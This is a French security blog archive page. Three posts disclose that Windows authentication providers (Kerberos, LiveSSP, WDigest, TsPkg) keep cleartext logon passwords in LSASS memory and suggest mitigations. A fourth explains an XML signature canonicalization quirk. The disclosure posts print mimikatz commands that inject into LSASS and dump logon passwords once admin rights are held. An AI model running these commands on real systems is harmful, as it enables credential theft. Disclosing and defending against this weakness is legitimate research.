Archives par mot-clé : hash

Re – re – re – pass the pass (word)

Publié le par
5

homer
Certains tendent le bâton… :(

Fournir aisément à autrui, par ses dires ou son comportement, l’occasion, la raison ou le simple prétexte de se faire blâmer, condamner ou punir.

Après le dernier billet sur « re – re – pass the pass » et…

  • l’absence de réaction (oui, cela a été rapide :)
  • une bonne question

… voici la suite !

Le provider

Cette fois ci nous avons le provider Kerberos ! Son fonctionnement par ticket n’impose normalement pas la réutilisation des mot de passe en clair.
Cf. une explication rapide de Microsoft : http://technet.microsoft.com/en-us/library/bb742516.aspx
kerberos par MS

Ce qui est dommage, c’est qu’une fois de plus des mots de passe sont encore conservés dans la mémoire du processus LSASS (en particulier à partir de NT 6).
mimikatz_vs_kerberos

Téléchargement et fonctionnement

Une mise à jour de mimikatz existe, mais elle n’est toujours pas disponible en téléchargement… (merci à nos amis éditeurs antivirus et Microsoft qui choisis de blacklister plutôt que d’améliorer ses processus)
Plus de release avant fin mai

A exécuter après avoir obtenu des droits administrateurs (ou system) :

privilege::debug
inject::service samss sekurlsa.dll
@getLogonPasswords full

La commande privilege::debug n’est pas obligatoire si vous êtes déjà system.
(plus d’information : http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa#getLogonPasswords et http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa/kerberos)

Nouvelles commandes (si besoin de séparation) :

@getMSV
@getTsPkg
@getWDigest
@getLiveSSP
@getKerberos

@getLogonPasswords utilise les providers disponibles et connus par mimikatz.

Améliorations

  • ne garder que kerberos, msv1_0 et schannel dans la liste des providers autorisés (se référer au billet d’origine sur « pass the pass »)
    Utiliser Kerberos uniquement avec des Tokens et Cartes à puce (sans délégation)
    ils sont essentiels au fonctionnement des services Windows
  • demander à Microsoft la validité de ce mode de fonctionnement avec un minimum de provider (je n’y crois vraiment plus…)

Re – re – pass the pass (word)

Publié le par
Répondre

maggie_incas
Toute ressemblance avec un billet précédent est malheureusement normale :(
Je ne pense pas que Microsoft change sa philosophie de gestion du SSO dans un avenir très proche…

Après le dernier billet sur « re – pass the pass » et…

  • les réactions positives de certains (Espagnols, Américains, Russes et Chinois)
  • les réactions étranges d’autres : Microsoft & Amplia Security (ça faisait juste quasi un an que je l’avais présenté…)
  • Windows 8 en approche

… voici la suite !

Le provider

Cette fois ci nous avons le provider LiveSSP qui, dans Windows 8, permet de se connecter avec son compte Microsoft Live (avec tout de même un petit cache dans la SAM locale en cas d’indisponibilité d’Internet ou des services Live).

mimikatz_vs_livessp

Remarques :

  • un compte Live est utilisé avec les providers :
    • msv1_0
    • tspkg
    • livessp
  • un compte non Live est utilisé avec les providers :
    • msv1_0
    • wdigest
    • tspkg

Téléchargement et fonctionnement

Une mise à jour de mimikatz existe, mais elle n’est pas encore disponible en téléchargement… (merci à nos amis éditeurs antivirus et Microsoft qui choisis de blacklister plutôt que d’améliorer ses processus)
Plus de release avant fin mai

A exécuter après avoir obtenu des droits administrateurs (ou system) :

privilege::debug
inject::service samss sekurlsa.dll
@getLogonPasswords full

La commande privilege::debug n’est pas obligatoire si vous êtes déjà system.
(plus d’information : http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa#getLogonPasswords et http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa/livessp)

Nouvelles commandes (si besoin de séparation) :

@getMSV
@getTsPkg
@getWDigest
@getLiveSSP

@getLogonPasswords utilise les providers disponibles et connus par mimikatz.

Améliorations

  • ne garder que kerberos, msv1_0 et schannel dans la liste des providers autorisés (se référer au billet d’origine sur « pass the pass »)
    ils sont essentiels au fonctionnement des services Windows
  • demander à Microsoft la validité de ce mode de fonctionnement avec un minimum de provider (je n’y crois vraiment plus…)

Dump Windows password hashes efficiently

Publié le par
Répondre

Une fois n’est pas coutume, un lien vers une série d’articles sur la récupération des hashes de Windows.
http://bernardodamele.blogspot.com/search/label/dump

Avec en bonus un classeur synthétisant les fonctionnalités et limites des outils connus :
https://docs.google.com/spreadsheet/ccc?key=0Ak-eXPencMnydGhwR1VvamhlNEljVHlJdVkxZ2RIaWc

Merci Bernardo pour ces recherches !

en plus mimikatz y est abordé ;)

Re – pass the pass (word)

Publié le par
Répondre

Après le dernier billet sur « pass the pass » et…

  • les réactions positives de certains
  • les réactions étranges d’autres
  • une incitation très forte de newsoft à fouiller ma mémoire vive ;)

… voici la suite !

Le provider

Il n’y a pas que le provider TsPkg qui « doit » conserver une copie du mot de passe de session en clair ; le provider WDigest avait le même comportement bien avant l’apparition de TsPkg (et il l’a toujours…)

Problème

Bien que je n’ai jamais rencontré de véritable architecture reposant sur une authentification Digest et n’ayant toujours pas autorisé Windows à conserver mon mot de passe en clair, celui-ci se retrouve encore une fois en mémoire :
mimikatz_vs_wdigest

Téléchargement et fonctionnement

Une mise à jour de mimikatz, toujours en version « alpha », pour l’occasion :

Attention, cette version de mimikatz reste toujours en « alpha »…

A exécuter après avoir obtenu des droits administrateurs (ou system) :

privilege::debug
inject::process lsass.exe sekurlsa.dll
@getLogonPasswords

La commande privilege::debug n’est pas obligatoire si vous êtes déjà system.
(plus d’information : http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa#getLogonPasswords et http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa/wdigest)

Nouvelles commandes (si besoin de séparation) :

@getMSV
@getTsPkg
@getWDigest

@getLogonPasswords utilise les providers disponibles et connus par mimikatz.

Améliorations

  • ne garder que kerberos, msv1_0 et schannel dans la liste des providers autorisés (se référer au billet d’origine sur « pass the pass »)
    ils sont essentiels au fonctionnement des services Windows
  • demander à Microsoft la validité de ce mode de fonctionnement avec un minimum de provider

Signature numérique XML, canonicalisation et commentaires

Publié le par
Répondre

Parmi les différentes options de canonicalisation (c14n) disponibles lors de signature de documents XML, nous trouvons la possibilité de prendre en compte ou non les commentaires dans le calcul du hash…

Dans le cas d’une canonicalisation exclusive, les transformations possibles sont :

  • http://www.w3.org/2001/10/xml-exc-c14n#
  • http://www.w3.org/2001/10/xml-exc-c14n#WithComments

Mais y a-t-il une réelle différence dans le hash (donc dans la signature) ?

Un exemple de nœud XML référencé par l’ID « object » que nous voudrions signer :

<Object Id="object"><!--commentaire-->texte</Object>

… et soumettons-le à différentes transformations en vue d’une signature !

  • Canonicalisation exclusive, avec omission des commentaires (référence par Id) :

    Reference maReference = maSignatureFactory.newReference(
                "#object",
                maSignatureFactory.newDigestMethod(DigestMethod.SHA1, null),
                Collections.singletonList(maSignatureFactory.newTransform(CanonicalizationMethod.EXCLUSIVE, (C14NMethodParameterSpec) null)),
                "http://www.w3.org/2000/09/xmldsig#Object",
                "data-object");

    2 – Référence par ID sur le noeud object
    4 – Méthode de canonicalisation exclusive avec omission des commentaires (CanonicalizationMethod.EXCLUSIVE)

    Résultat :

    <Reference Id="data-object" Type="http://www.w3.org/2000/09/xmldsig#Object" URI="#object">
	<Transforms>
		<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
	</Transforms>
	<DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
	<DigestValue>xVvVl8rEZss+SMzVbGBf+xjXRm4=</DigestValue>
</Reference>

    1 – Référence par ID sur le noeud object
    3 – Méthode de canonicalisation exclusive avec omission des commentaires (http://www.w3.org/2001/10/xml-exc-c14n#)
    6 – Hash du noeud XML après canonicalisation : xVvVl8rEZss+SMzVbGBf+xjXRm4=

  • Canonicalisation exclusive, avec conservation des commentaires (référence par Id) :

    Reference maReference = maSignatureFactory.newReference(
                "#object",
                maSignatureFactory.newDigestMethod(DigestMethod.SHA1, null),
                Collections.singletonList(maSignatureFactory.newTransform(CanonicalizationMethod.EXCLUSIVE_WITH_COMMENTS, (C14NMethodParameterSpec) null)),
                "http://www.w3.org/2000/09/xmldsig#Object",
                "data-object");

    2 – Référence par ID sur le noeud object
    4 – Méthode de canonicalisation exclusive avec conservation des commentaires (CanonicalizationMethod.EXCLUSIVE_WITH_COMMENTS)

    Résultat :

    <Reference Id="data-object" Type="http://www.w3.org/2000/09/xmldsig#Object" URI="#object">
	<Transforms>
		<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#WithComments"/>
	</Transforms>
	<DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
	<DigestValue>xVvVl8rEZss+SMzVbGBf+xjXRm4=</DigestValue>
</Reference>

    1 – Référence par ID sur le noeud object
    3 – Méthode de canonicalisation exclusive avec conservation des commentaires (http://www.w3.org/2001/10/xml-exc-c14n#WithComments)
    6 – Hash du noeud XML après canonicalisation : xVvVl8rEZss+SMzVbGBf+xjXRm4=

Mais comment est-ce possible ? Dans le premier cas, nous indiquons explicitement une canonicalisation avec omission des commentaires et obtenons le hash : xVvVl8rEZss+SMzVbGBf+xjXRm4=
Puis indiquons une canonicalisation avec conservation des commentaires et obtenons le même hash !

Explications :

Ce comportement vient de petites spécificités de nos amis du W3C… : http://www.w3.org/TR/xmldsig-core/#sec-ReferenceProcessingModel :

When a fragment is not preceded by a URI in the URI-Reference, XML Signature applications MUST support the null URI and shortname XPointer [XPointer-Framework]. We RECOMMEND support for the same-document XPointers ‘#xpointer(/)’ and ‘#xpointer(id(‘ID’))’ if the application also intends to support any canonicalization that preserves comments. (Otherwise URI= »#foo » will automatically remove comments before the canonicalization can even be invoked due to the processing defined in Same-Document URI-References (section 4.3.3.3).) All other support for XPointers is OPTIONAL, especially all support for shortname and other XPointers in external resources since the application may not have control over how the fragment is generated (leading to interoperability problems and validation failures).

Les commentaires seraient ainsi enlevés avant même le processus de canonicalisation de part la méthode de sélection du nœud cible (par référence directe à l’Id), cette lecture est confirmée par un des paragraphes suivants :

URI= »#chapter1″
Identifies a node-set containing the element with ID attribute value ‘chapter1’ of the XML resource containing the signature. XML Signature (and its applications) modify this node-set to include the element plus all descendants including namespaces and attributes — but not comments.

Ainsi, nous devrions pouvoir nous en sortir avec une référence par XPointer sur un Id plutôt qu’une référence directe sur un Id…

  • Canonicalisation exclusive, avec omission des commentaires (référence par XPointer sur Id)) :

    Reference maReference = maSignatureFactory.newReference(
                "#xpointer(id('object'))",
                maSignatureFactory.newDigestMethod(DigestMethod.SHA1, null),
                Collections.singletonList(maSignatureFactory.newTransform(CanonicalizationMethod.EXCLUSIVE, (C14NMethodParameterSpec) null)),
                "http://www.w3.org/2000/09/xmldsig#Object",
                "data-object");

    2 – Référence par XPointer sur ID sur le noeud object
    4 – Méthode de canonicalisation exclusive avec omission des commentaires (CanonicalizationMethod.EXCLUSIVE)

    Résultat :

    <Reference Id="data-object" Type="http://www.w3.org/2000/09/xmldsig#Object" URI="#xpointer(id('object'))">
	<Transforms>
		<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
	</Transforms>
	<DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
	<DigestValue>xVvVl8rEZss+SMzVbGBf+xjXRm4=</DigestValue>
</Reference>

    1 – Référence par XPointer ID sur le noeud object
    3 – Méthode de canonicalisation exclusive avec omission des commentaires (http://www.w3.org/2001/10/xml-exc-c14n#)
    6 – Hash du noeud XML après canonicalisation : xVvVl8rEZss+SMzVbGBf+xjXRm4= (le même que précédemment, heureusement ;))

  • Canonicalisation exclusive, avec conservation des commentaires (référence par XPointer sur Id) :

    Reference maReference = maSignatureFactory.newReference(
               "#xpointer(id('object'))",
                maSignatureFactory.newDigestMethod(DigestMethod.SHA1, null),
                Collections.singletonList(maSignatureFactory.newTransform(CanonicalizationMethod.EXCLUSIVE_WITH_COMMENTS, (C14NMethodParameterSpec) null)),
                "http://www.w3.org/2000/09/xmldsig#Object",
                "data-object");

    2 – Référence par XPointer sur ID sur le noeud object
    4 – Méthode de canonicalisation exclusive avec conservation des commentaires (CanonicalizationMethod.EXCLUSIVE_WITH_COMMENTS)

    Résultat :

    <Reference Id="data-object" Type="http://www.w3.org/2000/09/xmldsig#Object" URI="#xpointer(id('object'))">
	<Transforms>
		<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#WithComments"/>
	</Transforms>
	<DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
	<DigestValue>vHnUzn+afpzilGODV/4utR5xIlQ=</DigestValue>
</Reference>

    1 – Référence par XPointer sur ID sur le noeud object
    3 – Méthode de canonicalisation exclusive avec conservation des commentaires (http://www.w3.org/2001/10/xml-exc-c14n#WithComments)
    6 – Hash du noeud XML après canonicalisation : vHnUzn+afpzilGODV/4utR5xIlQ=

Cette fois-ci le « bon » hash !!!

Conclusions et remarques :

Dans tous les cas précédents, les hashs et signatures engendrés seront heureusement corrects, mais certaines incompréhensions peuvent découler de l’utilisation des références par Id lors de canonicalisation avec conservation des commentaires… Un document dans lequel nous aurions modifié les commentaires de manière insultante ou publicitaire garderait une signature correcte malgré l’utilisation explicite de canonicalisation avec conservation des commentaires.

L’utilisation de référence par XPointer explicite, dont le support est déjà recommandé par le W3C pour les signatures XMLDSIG, est donc un bon choix.
Malheureusement ce type de référence n’est pas forcément encore supporté par tous les logiciels de signature ou de vérification de signature.

Références :